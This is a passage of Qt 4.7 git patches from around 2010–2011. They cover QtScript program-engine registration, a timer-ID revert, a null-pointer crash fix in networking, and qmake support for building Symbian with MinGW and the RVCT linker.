         QHash m_typeInfos;
         int processEventsInterval;
         QScriptValue abortResult;
    @@ -566,6 +572,18 @@ inline QByteArray convertToLatin1(const JSC::UString &str)
     
     } // namespace QScript
     
    +inline void QScriptEnginePrivate::registerScriptProgram(QScriptProgramPrivate *program)
    +{
    +    Q_ASSERT(!registeredScriptPrograms.contains(program));
    +    registeredScriptPrograms.insert(program);
    +}
    +
    +inline void QScriptEnginePrivate::unregisterScriptProgram(QScriptProgramPrivate *program)
    +{
    +    Q_ASSERT(registeredScriptPrograms.contains(program));
    +    registeredScriptPrograms.remove(program);
    +}
    +
     inline QScriptValuePrivate *QScriptEnginePrivate::allocateScriptValuePrivate(size_t size)
     {
         if (freeScriptValues) {
    diff --git a/src/script/api/qscriptprogram.cpp b/src/script/api/qscriptprogram.cpp
    index da103bb..31af9a0 100644
    --- a/src/script/api/qscriptprogram.cpp
    +++ b/src/script/api/qscriptprogram.cpp
    @@ -64,6 +64,7 @@ QScriptProgramPrivate::~QScriptProgramPrivate()
         if (engine) {
             QScript::APIShim shim(engine);
             _executable.clear();
    +        engine->unregisterScriptProgram(this);
         }
     }
     
    @@ -78,7 +79,10 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
         if (_executable) {
             if (eng == engine)
                 return _executable.get();
    -        _executable = 0;
    +        // "Migrating" to another engine; clean up old state
    +        QScript::APIShim shim(engine);
    +        _executable.clear();
    +        engine->unregisterScriptProgram(this);
         }
         WTF::PassRefPtr provider
             = QScript::UStringSourceProviderWithFeedback::create(sourceCode, fileName, firstLineNumber, eng);
    @@ -86,10 +90,19 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
         JSC::SourceCode source(provider, firstLineNumber); //after construction of SourceCode provider variable will be null.
         _executable = JSC::EvalExecutable::create(exec, source);
         engine = eng;
    +    engine->registerScriptProgram(this);
         isCompiled = false;
         return _executable.get();
     }
     
    +void QScriptProgramPrivate::detachFromEngine()
    +{
    +    _executable.clear();
    +    sourceId = -1;
    +    isCompiled = false;
    +    engine = 0;
    +}
    +
     /*!
       Constructs a null QScriptProgram.
     */
    @@ -122,9 +135,6 @@ QScriptProgram::QScriptProgram(const QScriptProgram &other)
     */
     QScriptProgram::~QScriptProgram()
     {
    -    //    Q_D(QScriptProgram);
    -    //    if (d->engine && (d->ref == 1))
    -    //      d->engine->unregisterScriptProgram(d);
     }
     
     /*!
    @@ -132,9 +142,6 @@ QScriptProgram::~QScriptProgram()
     */
     QScriptProgram &QScriptProgram::operator=(const QScriptProgram &other)
     {
    -  //    if (d_func() && d_func()->engine && (d_func()->ref == 1))
    -      //        d_func()->engine->unregisterScriptProgram(d_func());
    -  //    }
         d_ptr = other.d_ptr;
         return *this;
     }
    diff --git a/src/script/api/qscriptprogram_p.h b/src/script/api/qscriptprogram_p.h
    index d2fd234..e7809ab 100644
    --- a/src/script/api/qscriptprogram_p.h
    +++ b/src/script/api/qscriptprogram_p.h
    @@ -61,6 +61,7 @@ public:
     
         JSC::EvalExecutable *executable(JSC::ExecState *exec,
                                         QScriptEnginePrivate *engine);
    +    void detachFromEngine();
     
         QBasicAtomicInt ref;
     
    -- 
    cgit v0.12
    
    
    From 298b54b4fa99db47d62ec37eacefb4f419b79a69 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 28 Jan 2011 11:12:50 +0100
    Subject: Revert "Improve timer ID safety by using a serial counter per ID."
    
    This reverts commit 121e2b39043a4ffc6583f250aebb9a3a746076c1. It was
    considered too dangerous for 4.7.
    ---
     src/corelib/kernel/qabstracteventdispatcher.cpp | 30 +++++--------------------
     1 file changed, 6 insertions(+), 24 deletions(-)
    
    diff --git a/src/corelib/kernel/qabstracteventdispatcher.cpp b/src/corelib/kernel/qabstracteventdispatcher.cpp
    index cc08f092..e79f87a 100644
    --- a/src/corelib/kernel/qabstracteventdispatcher.cpp
    +++ b/src/corelib/kernel/qabstracteventdispatcher.cpp
    @@ -137,12 +137,6 @@ void QAbstractEventDispatcherPrivate::init()
     // free list). As an added protection, we use the cell to store an invalid
     // (negative) value that we can later check for integrity.
     //
    -// ABA prevention simply adds a value to 7 of the top 8 bits when resetting
    -// nextFreeTimerId.
    -//
    -// The extra code is the bucket allocation which allows us to start with a
    -// very small bucket size and grow as needed.
    -//
     // (continues below).
     int QAbstractEventDispatcherPrivate::allocateTimerId()
     {
    @@ -170,8 +164,6 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
             newTimerId = prepareNewValueWithSerialNumber(timerId, b[at]);
         } while (!nextFreeTimerId.testAndSetRelaxed(timerId, newTimerId));
     
    -    timerId &= TimerIdMask;
    -    timerId |= b[at] & TimerSerialMask;
         b[at] = -timerId;
     
         return timerId;
    @@ -182,13 +174,12 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
     //    X[timerId] = nextFreeTimerId;
     // then we update nextFreeTimerId to the timer we've just released
     //
    +// The extra code in allocateTimerId and releaseTimerId are ABA prevention
    +// and bucket memory. The buckets are simply to make sure we allocate only
    +// the necessary number of timers. See above.
    +//
     // ABA prevention simply adds a value to 7 of the top 8 bits when resetting
     // nextFreeTimerId.
    -//
    -// In addition to that, we update the same 7 bits in each entry in the bucket
    -// as a counter. That way, a timer ID allocated and released will always be
    -// returned with a different ID. This reduces the chances of timers being released
    -// erroneously by application code.
     void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
     {
         int which = timerId & TimerIdMask;
    @@ -196,21 +187,12 @@ void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
         int at = bucketIndex(bucket, which);
         int *b = timerIds[bucket];
     
    -#ifndef QT_NO_DEBUG
    -    // debug code
    -    Q_ASSERT_X(timerId == -b[at], "QAbstractEventDispatcher::releaseTimerId", "Timer ID was not found, fix application");
    -#else
    -    if (timerId != -b[at]) {
    -        // release code
    -        qWarning("Timer ID %d was not found, fix application", timerId);
    -        return;
    -    }
    -#endif
    +    Q_ASSERT(b[at] == -timerId);
     
         int freeId, newTimerId;
         do {
             freeId = nextFreeTimerId;//.loadAcquire(); // ### FIXME Proper memory ordering semantics
    -        b[at] = prepareNewValueWithSerialNumber(-b[at], freeId);
    +        b[at] = freeId & TimerIdMask;
     
             newTimerId = prepareNewValueWithSerialNumber(freeId, timerId);
         } while (!nextFreeTimerId.testAndSetRelease(freeId, newTimerId));
    -- 
    cgit v0.12
    
    
    From 97503dfd7fad9c8023b2f9632e6ef865ccd0cad8 Mon Sep 17 00:00:00 2001
    From: Jani Hautakangas 
    Date: Fri, 28 Jan 2011 13:12:47 +0200
    Subject: Fix typo in qglthreads auto test.
    
    Reviewed-by: TRUSTME
    ---
     tests/auto/qglthreads/tst_qglthreads.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tests/auto/qglthreads/tst_qglthreads.cpp b/tests/auto/qglthreads/tst_qglthreads.cpp
    index 0bcc4f6..65bebb0 100644
    --- a/tests/auto/qglthreads/tst_qglthreads.cpp
    +++ b/tests/auto/qglthreads/tst_qglthreads.cpp
    @@ -216,7 +216,7 @@ public:
                 // That's why we create only small textures.
                 width = 50;
                 height = 20;
    -#else
    +#endif
                 QImage image(width, height, QImage::Format_RGB32);
                 QPainter p(&image);
                 p.fillRect(image.rect(), QColor(rand() % 256, rand() % 256, rand() % 256));
    -- 
    cgit v0.12
    
    
    From bdf3782b40b0fc2ebfda960be08c90b549cfd970 Mon Sep 17 00:00:00 2001
    From: Simon Hausmann 
    Date: Fri, 28 Jan 2011 12:23:08 +0100
    Subject: Fix potential networking crash due to null-pointer dereference
    
    An internal bug report suggests that we unconditionally dereference the backend
    pointer in QNetworkReplyImpl when checking for the synchronity of the
    originating request. The dereferencing code was introduced in commit
    ad1e82323225e996720136e8b2d669166b8d8441. Unfortunately the report does not
    detail where/how the crash happened, but it appears plausible that the backend
    pointer became null, and the surrounding code that has extra checks suggests
    this, too. In an attempt of defensive programming this patch introduces
    the missing check in the reported line 112 as well as in other places
    where it seems appropriate.
    
    Reviewed-by: Peter Hartmann
    ---
     src/network/access/qnetworkreplyimpl.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp
    index 9d7082c..343f344 100644
    --- a/src/network/access/qnetworkreplyimpl.cpp
    +++ b/src/network/access/qnetworkreplyimpl.cpp
    @@ -109,7 +109,7 @@ void QNetworkReplyImplPrivate::_q_startOperation()
         }
     #endif
     
    -    if (backend->isSynchronous()) {
    +    if (backend && backend->isSynchronous()) {
             state = Finished;
         } else {
             if (state != Finished) {
    @@ -296,7 +296,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
         // in QtWebKit.
         QVariant synchronousHttpAttribute = req.attribute(
                 static_cast(QNetworkRequest::DownloadBufferAttribute + 1));
    -    if (synchronousHttpAttribute.toBool()) {
    +    if (backend && synchronousHttpAttribute.toBool()) {
             backend->setSynchronous(true);
             if (outgoingData && outgoingData->isSequential()) {
                 outgoingDataBuffer = new QRingBuffer();
    @@ -351,7 +351,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
                 QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
             }
     #else
    -        if (backend->isSynchronous())
    +        if (backend && backend->isSynchronous())
                 _q_startOperation();
             else
                 QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
    -- 
    cgit v0.12
    
    
    From e03d5125d0792348593251585b0970c138544743 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Tue, 19 Oct 2010 08:51:04 +0200
    Subject: Added Symbian makefile building support using MinGW backend.
    
    RevBy:    Oswald Buddenhagen
    ---
     mkspecs/common/symbian/symbian-makefile.conf | 6 +++++-
     qmake/generators/metamakefile.cpp            | 4 +++-
     qmake/generators/win32/mingw_make.h          | 4 ++--
     3 files changed, 10 insertions(+), 4 deletions(-)
    
    diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
    index 9dc3674..c39222d 100644
    --- a/mkspecs/common/symbian/symbian-makefile.conf
    +++ b/mkspecs/common/symbian/symbian-makefile.conf
    @@ -2,7 +2,11 @@
     # qmake configuration for makefile based symbian
     #
     
    -MAKEFILE_GENERATOR	= SYMBIAN_UNIX
    +contains(QMAKE_HOST.os,Windows) {
    +    MAKEFILE_GENERATOR	= SYMBIAN_MINGW
    +} else {
    +    MAKEFILE_GENERATOR	= SYMBIAN_UNIX
    +}
     
     include(symbian.conf)
     
    diff --git a/qmake/generators/metamakefile.cpp b/qmake/generators/metamakefile.cpp
    index df05550..be957d6 100644
    --- a/qmake/generators/metamakefile.cpp
    +++ b/qmake/generators/metamakefile.cpp
    @@ -489,6 +489,8 @@ MetaMakefileGenerator::createMakefileGenerator(QMakeProject *proj, bool noIO)
             mkfile = new SymbianSbsv2MakefileGenerator;
         } else if(gen == "SYMBIAN_UNIX") {
             mkfile = new SymbianMakefileTemplate;
    +    } else if(gen == "SYMBIAN_MINGW") {
    +        mkfile = new SymbianMakefileTemplate;
         } else {
             fprintf(stderr, "Unknown generator specified: %s\n", gen.toLatin1().constData());
         }
    @@ -545,7 +547,7 @@ MetaMakefileGenerator::modesForGenerator(const QString &gen,
         } else if (gen == "PROJECTBUILDER" || gen == "XCODE") {
             *host_mode = Option::HOST_MACX_MODE;
             *target_mode = Option::TARG_MACX_MODE;
    -    } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2" || gen == "SYMBIAN_UNIX") {
    +    } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2" || gen == "SYMBIAN_UNIX" || gen == "SYMBIAN_MINGW") {
     #if defined(Q_OS_MAC)
             *host_mode = Option::HOST_MACX_MODE;
     #elif defined(Q_OS_UNIX)
    diff --git a/qmake/generators/win32/mingw_make.h b/qmake/generators/win32/mingw_make.h
    index 9f30333..564cd48 100644
    --- a/qmake/generators/win32/mingw_make.h
    +++ b/qmake/generators/win32/mingw_make.h
    @@ -54,17 +54,17 @@ public:
     protected:
         QString escapeDependencyPath(const QString &path) const;
         QString getLibTarget();
    +    bool writeMakefile(QTextStream &);
    +    void init();
     private:
         bool isWindowsShell() const;
         void writeMingwParts(QTextStream &);
         void writeIncPart(QTextStream &t);
         void writeLibsPart(QTextStream &t);
         void writeLibDirPart(QTextStream &t);
    -    bool writeMakefile(QTextStream &);
         void writeObjectsPart(QTextStream &t);
         void writeBuildRulesPart(QTextStream &t);
         void writeRcFilePart(QTextStream &t);
    -    void init();
         void processPrlVariable(const QString &var, const QStringList &l);
     
         QStringList &findDependencies(const QString &file);
    -- 
    cgit v0.12
    
    
    From 9ce88a4fb065b182ba6ad157ae4c1587da6bfc0a Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Tue, 19 Oct 2010 10:10:08 +0200
    Subject: Added object script support to RVCT when using MinGW qmake generator.
    
    RevBy:    Oswald Buddenhagen
    ---
     mkspecs/common/symbian/symbian-makefile.conf |  2 ++
     qmake/generators/win32/mingw_make.cpp        | 46 +++++++++++++++++++++++-----
     2 files changed, 40 insertions(+), 8 deletions(-)
    
    diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
    index c39222d..94a8dbf 100644
    --- a/mkspecs/common/symbian/symbian-makefile.conf
    +++ b/mkspecs/common/symbian/symbian-makefile.conf
    @@ -33,6 +33,8 @@ QMAKE_PREFIX_STATICLIB =
     QMAKE_EXTENSION_STATICLIB = lib
     QMAKE_SYMBIAN_SHLIB   = 1
     
    +QMAKE_LINK_OBJECT_SCRIPT = objects
    +
     is_using_gnupoc {
         DEFINES *= __PRODUCT_INCLUDE__=\"<$${EPOCROOT}epoc32/include/variant/symbian_os.hrh>\"
     } else {
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index 4717542..ca04e91 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -199,6 +199,23 @@ void createArObjectScriptFile(const QString &fileName, const QString &target, co
         }
     }
     
    +void createRvctObjectScriptFile(const QString &fileName, const QStringList &objList)
    +{
    +    QString filePath = Option::output_dir + QDir::separator() + fileName;
    +    QFile file(filePath);
    +    if (file.open(QIODevice::WriteOnly | QIODevice::Text)) {
    +        QTextStream t(&file);
    +        for (QStringList::ConstIterator it = objList.constBegin(); it != objList.constEnd(); ++it) {
    +            if (QDir::isRelativePath(*it))
    +                t << "./" << *it << endl;
    +            else
    +                t << *it << endl;
    +        }
    +        t.flush();
    +        file.close();
    +    }
    +}
    +
     void MingwMakefileGenerator::writeMingwParts(QTextStream &t)
     {
         writeStandardParts(t);
    @@ -367,20 +384,33 @@ void MingwMakefileGenerator::writeObjectsPart(QTextStream &t)
     	if (!var("BUILD_NAME").isEmpty()) {
     	    ar_script_file += "." + var("BUILD_NAME");
     	}
    -	createArObjectScriptFile(ar_script_file, var("DEST_TARGET"), project->values("OBJECTS"));
             // QMAKE_LIB is used for win32, including mingw, whereas QMAKE_AR is used on Unix.
    -        // Strip off any options since the ar commands will be read from file.
    -        QString ar_cmd = var("QMAKE_LIB").section(" ", 0, 0);;
    -        if (ar_cmd.isEmpty())
    -            ar_cmd = "ar";
    -        objectsLinkLine = ar_cmd + " -M < " + ar_script_file;
    +        if (project->isActiveConfig("rvct_linker")) {
    +            createRvctObjectScriptFile(ar_script_file, project->values("OBJECTS"));
    +            QString ar_cmd = project->values("QMAKE_LIB").join(" ");
    +            if (ar_cmd.isEmpty())
    +                ar_cmd = "armar --create";
    +            objectsLinkLine = ar_cmd + " " + var("DEST_TARGET") + " --via " + ar_script_file;
    +        } else {
    +            // Strip off any options since the ar commands will be read from file.
    +            QString ar_cmd = var("QMAKE_LIB").section(" ", 0, 0);;
    +            if (ar_cmd.isEmpty())
    +                ar_cmd = "ar";
    +            createArObjectScriptFile(ar_script_file, var("DEST_TARGET"), project->values("OBJECTS"));
    +            objectsLinkLine = ar_cmd + " -M < " + ar_script_file;
    +        }
         } else {
             QString ld_script_file = var("QMAKE_LINK_OBJECT_SCRIPT") + "." + var("TARGET");
     	if (!var("BUILD_NAME").isEmpty()) {
     	    ld_script_file += "." + var("BUILD_NAME");
     	}
    -	createLdObjectScriptFile(ld_script_file, project->values("OBJECTS"));
    -        objectsLinkLine = ld_script_file;
    +        if (project->isActiveConfig("rvct_linker")) {
    +            createRvctObjectScriptFile(ld_script_file, project->values("OBJECTS"));
    +            objectsLinkLine = QString::fromLatin1("--via ") + ld_script_file;
    +        } else {
    +            createLdObjectScriptFile(ld_script_file, project->values("OBJECTS"));
    +            objectsLinkLine = ld_script_file;
    +        }
         }
         Win32MakefileGenerator::writeObjectsPart(t);
     }
    -- 
    cgit v0.12
    
    
    From e3092695a2768643a335834cceb83e120ba94083 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Thu, 23 Dec 2010 16:24:06 +0100
    Subject: Fixed include in network module on Symbian.
    
    ---
     src/network/kernel/qnetworkinterface_symbian.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/network/kernel/qnetworkinterface_symbian.cpp b/src/network/kernel/qnetworkinterface_symbian.cpp
    index 7942461..2879ceb 100644
    --- a/src/network/kernel/qnetworkinterface_symbian.cpp
    +++ b/src/network/kernel/qnetworkinterface_symbian.cpp
    @@ -43,7 +43,7 @@
     
     #include "qnetworkinterface.h"
     #include "qnetworkinterface_p.h"
    -#include "../corelib/kernel/qcore_symbian_p.h"
    +#include 
     
     #ifndef QT_NO_NETWORKINTERFACE
     
    -- 
    cgit v0.12
    
    
    From 37a57d9ac8cbdedbdb9d44d32a0ae68333cf1549 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Thu, 23 Dec 2010 16:24:57 +0100
    Subject: Fixed a build library deployment issue in sqlite.
    
    Make did not understand that sqlite3.dso, which the link relies on,
    is the same as $$OBJECTS_DIR/sqlite3.dso, which is extracted by the
    profile.
    
    RevBy:    Trust me
    ---
     src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri | 6 ++++++
     1 file changed, 6 insertions(+)
    
    diff --git a/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri b/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
    index ebeccc9..b7a87f3 100644
    --- a/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
    +++ b/src/plugins/sqldrivers/sqlite_symbian/sqlite_symbian.pri
    @@ -34,6 +34,12 @@
             silent:symbian_sqlite3_dso.commands = @echo unzipping $@ && $$symbian_sqlite3_dso.commands
             QMAKE_EXTRA_COMPILERS += symbian_sqlite3_dso
     
    +        # Workaround for the fact that make doesn't understand that sqlite3.dso
    +        # is the same as $OBJECTS_DIR/sqlite3.dso
    +        symbian_sqlite3_dso_standalone.target = sqlite3.dso
    +        symbian_sqlite3_dso_standalone.depends = $$symbian_sqlite3_dso.output
    +        QMAKE_EXTRA_TARGETS += symbian_sqlite3_dso_standalone
    +
             symbian_sqlite3_ver_dso.input = symbian_sqlite3_zip_file
             symbian_sqlite3_ver_dso.output = sqlite3{00060003}.dso
             !isEmpty(OBJECTS_DIR):symbian_sqlite3_ver_dso.output = $$OBJECTS_DIR/$$symbian_sqlite3_ver_dso.output
    -- 
    cgit v0.12
    
    
    From e496dfecd119a94d7990c4860efe0d6171c1d829 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Thu, 11 Nov 2010 13:52:28 +0100
    Subject: Fixed a typo in src profile.
    
    RevBy:    Trust me
    ---
     src/src.pro | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/src.pro b/src/src.pro
    index c07d399..0bf3b52 100644
    --- a/src/src.pro
    +++ b/src/src.pro
    @@ -109,7 +109,7 @@ src_webkit_declarative.target = sub-webkitdeclarative
        src_phonon.depends = src_gui
        src_multimedia.depends = src_gui
        contains(QT_CONFIG, opengl):src_multimedia.depends += src_opengl
    -   src_tools_activeqt.depends = src_tools_idc src_gui
    +   src_activeqt.depends = src_tools_idc src_gui
        src_declarative.depends = src_gui src_script src_network
        src_plugins.depends = src_gui src_sql src_svg
        contains(QT_CONFIG, multimedia):src_plugins.depends += src_multimedia
    -- 
    cgit v0.12
    
    
    From 2c8031cffdfa48e93cb77be657422fc926ec1a29 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 07:39:08 +0100
    Subject: Stopped honoring the RVCT22INC variable on symbian-armcc mkspec.
    
    This usually points to the RVCT include directory, but those headers
    are not appropriate for Symbian.
    
    RevBy:    Trust me
    ---
     mkspecs/features/symbian/symbian_building.prf | 12 ++++++------
     1 file changed, 6 insertions(+), 6 deletions(-)
    
    diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf
    index 9288583..2ff279f 100644
    --- a/mkspecs/features/symbian/symbian_building.prf
    +++ b/mkspecs/features/symbian/symbian_building.prf
    @@ -1,6 +1,11 @@
     symbian-armcc {
         QMAKE_CFLAGS += $$QMAKE_CFLAGS.ARMCC
         QMAKE_CXXFLAGS += $$QMAKE_CXXFLAGS.ARMCC
    +    # This is to prevent inclusion of the shipped RVCT headers, which are often in the
    +    # environment variable RVCTxxINC by default. -J prevents the searching of that location,
    +    # but needs a path, so just specify somewhere guaranteed not to contain header files.
    +    QMAKE_CFLAGS += -J$${EPOCROOT}epoc32/ignore_this_path
    +    QMAKE_CXXFLAGS += -J$${EPOCROOT}epoc32/ignore_this_path
     } else:symbian-gcce {
         QMAKE_CFLAGS += $$QMAKE_CFLAGS.GCCE
         QMAKE_CXXFLAGS += $$QMAKE_CXXFLAGS.GCCE
    @@ -235,12 +240,7 @@ contains(TEMPLATE, app):!contains(QMAKE_LINK, "^@:.*") {
     }
     
     # Symbian resource files
    -symbian-armcc: {
    -    SYMBIAN_RVCT22INC=$$(RVCT22INC)
    -    !isEmpty(SYMBIAN_RVCT22INC):symbian_resources_INCLUDES = -I$${SYMBIAN_RVCT22INC}
    -}
    -symbian_resources_INCLUDES = $$replace(symbian_resources_INCLUDES, ",", " -I")
    -symbian_resources_INCLUDES += $$join(INCLUDEPATH, " -I", "-I")
    +symbian_resources_INCLUDES = $$join(INCLUDEPATH, " -I", "-I")
     symbian_resources_DEFINES = $$join(DEFINES, " -D", "-D")
     symbian_resources_RCC_DIR = $$replace(RCC_DIR, "/$", "")
     symbian_resources_INCLUDES += "-I$$symbian_resources_RCC_DIR"
    -- 
    cgit v0.12
    
    
    From 0ec421b76066b6016c98a8d2f589db5516bb1a93 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 07:47:12 +0100
    Subject: Added .lib/.dso dependency tracking to Symbian with MinGW generator.
    
    This is just a mirror of the way the UNIX generator does it. See
    commits aaf189b084f52 and bdff51768dfe.
    
    RevBy:    Oswald Buddenhagen
    ---
     qmake/generators/win32/mingw_make.cpp | 6 ++++++
     1 file changed, 6 insertions(+)
    
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index ca04e91..7099422 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -218,6 +218,12 @@ void createRvctObjectScriptFile(const QString &fileName, const QStringList &objL
     
     void MingwMakefileGenerator::writeMingwParts(QTextStream &t)
     {
    +    if (!project->isEmpty("QMAKE_SYMBIAN_SHLIB")) {
    +        t << "vpath %.dso " << project->values("QMAKE_LIBDIR").join(";") << endl;
    +        t << "vpath %.lib " << project->values("QMAKE_LIBDIR").join(";") << endl;
    +        t << "\n\n";
    +    }
    +
         writeStandardParts(t);
     
         if (!preCompHeaderOut.isEmpty()) {
    -- 
    cgit v0.12
    
    
    From b93fc7fabd289c99124bf68898605591d6d9b283 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 07:53:13 +0100
    Subject: Avoided some MinGW specific codepaths when building Symbian libs.
    
    RevBy:    Trust me
    ---
     qmake/generators/win32/mingw_make.cpp  | 4 ++--
     qmake/generators/win32/winmakefile.cpp | 3 ++-
     2 files changed, 4 insertions(+), 3 deletions(-)
    
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index 7099422..8450eaf 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -290,7 +290,7 @@ void MingwMakefileGenerator::init()
             if(configs.indexOf("qt") == -1)
                 configs.append("qt");
     
    -    if(project->isActiveConfig("dll")) {
    +    if(project->isActiveConfig("dll") && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty()) {
             QString destDir = "";
             if(!project->first("DESTDIR").isEmpty())
                 destDir = Option::fixPathToTargetOS(project->first("DESTDIR") + Option::dir_sep, false, false);
    @@ -299,7 +299,7 @@ void MingwMakefileGenerator::init()
     	project->values("QMAKE_LFLAGS").append(QString("-Wl,--out-implib,") + project->first("MINGW_IMPORT_LIB"));
         }
     
    -    if(!project->values("DEF_FILE").isEmpty())
    +    if(!project->values("DEF_FILE").isEmpty() && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty())
             project->values("QMAKE_LFLAGS").append(QString("-Wl,") + project->first("DEF_FILE"));
     
         MakefileGenerator::init();
    diff --git a/qmake/generators/win32/winmakefile.cpp b/qmake/generators/win32/winmakefile.cpp
    index 8cf970e..a42b97d 100644
    --- a/qmake/generators/win32/winmakefile.cpp
    +++ b/qmake/generators/win32/winmakefile.cpp
    @@ -314,7 +314,8 @@ void Win32MakefileGenerator::processVars()
     
         // TARGET_VERSION_EXT will be used to add a version number onto the target name
         if (project->values("TARGET_VERSION_EXT").isEmpty()
    -        && !project->values("VER_MAJ").isEmpty())
    +        && !project->values("VER_MAJ").isEmpty()
    +        && project->values("QMAKE_SYMBIAN_SHLIB").isEmpty())
             project->values("TARGET_VERSION_EXT").append(project->values("VER_MAJ").first());
     
         if(project->isEmpty("QMAKE_COPY_FILE"))
    -- 
    cgit v0.12
    
    
    From 5c88141ed0b25d8ab9318bf4cb5dda54b90b2ce1 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 07:56:19 +0100
    Subject: Added support for rvct_linker config in qmake's MinGW generator.
    
    RevBy:    Trust me
    ---
     qmake/generators/win32/mingw_make.cpp | 14 +++++++++++---
     1 file changed, 11 insertions(+), 3 deletions(-)
    
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index 8450eaf..648776d 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -368,17 +368,25 @@ void MingwMakefileGenerator::writeLibsPart(QTextStream &t)
             t << "LIBS        =        ";
             if(!project->values("QMAKE_LIBDIR").isEmpty())
                 writeLibDirPart(t);
    -        t << var("QMAKE_LIBS").replace(QRegExp("(\\slib|^lib)")," -l") << ' '
    -          << var("QMAKE_LIBS_PRIVATE").replace(QRegExp("(\\slib|^lib)")," -l") << endl;
    +        if (project->isActiveConfig("rvct_linker")) {
    +            t << var("QMAKE_LIBS") << ' '
    +              << var("QMAKE_LIBS_PRIVATE") << endl;
    +        } else {
    +            t << var("QMAKE_LIBS").replace(QRegExp("(\\slib|^lib)")," -l") << ' '
    +              << var("QMAKE_LIBS_PRIVATE").replace(QRegExp("(\\slib|^lib)")," -l") << endl;
    +        }
         }
     }
     
     void MingwMakefileGenerator::writeLibDirPart(QTextStream &t)
     {
         QStringList libDirs = project->values("QMAKE_LIBDIR");
    +    QString libArg = QString::fromLatin1("-L");
    +    if (project->isActiveConfig("rvct_linker"))
    +        libArg = QString::fromLatin1("--userlibpath ");
         for (int i = 0; i < libDirs.size(); ++i)
             libDirs[i].remove("\"");
    -    t << valGlue(libDirs,"-L"+quote,quote+" -L" +quote,quote) << " ";
    +    t << valGlue(libDirs, libArg+quote, quote+" "+libArg+quote, quote) << " ";
     }
     
     void MingwMakefileGenerator::writeObjectsPart(QTextStream &t)
    -- 
    cgit v0.12
    
    
    From 21f2e2330f788543e3ba97eeec50885150d45397 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 08:09:01 +0100
    Subject: Added support for various special compiler/linker flags on MinGW.
    
    This enables you to use QMAKE_xxx_yyy, where xxx is either CFLAGS,
    CXXFLAGS or LFLAGS, and yyy is either APP, SHLIB or PLUGIN. It is
    basically the same as the one in the UNIX generator.
    
    RevBy:    Oswald Buddenhagen
    ---
     qmake/generators/win32/winmakefile.cpp | 18 ++++++++++++++++++
     1 file changed, 18 insertions(+)
    
    diff --git a/qmake/generators/win32/winmakefile.cpp b/qmake/generators/win32/winmakefile.cpp
    index a42b97d..8530825 100644
    --- a/qmake/generators/win32/winmakefile.cpp
    +++ b/qmake/generators/win32/winmakefile.cpp
    @@ -343,6 +343,24 @@ void Win32MakefileGenerator::processVars()
         if(!(*libDir_it).isEmpty())
             (*libDir_it) = Option::fixPathToTargetOS((*libDir_it), false, false);
         }
    +
    +    if (project->values("TEMPLATE").contains("app")) {
    +        project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_APP");
    +        project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_APP");
    +        project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_APP");
    +    } else if (project->values("TEMPLATE").contains("lib") && project->isActiveConfig("dll")) {
    +        if(!project->isActiveConfig("plugin") || !project->isActiveConfig("plugin_no_share_shlib_cflags")) {
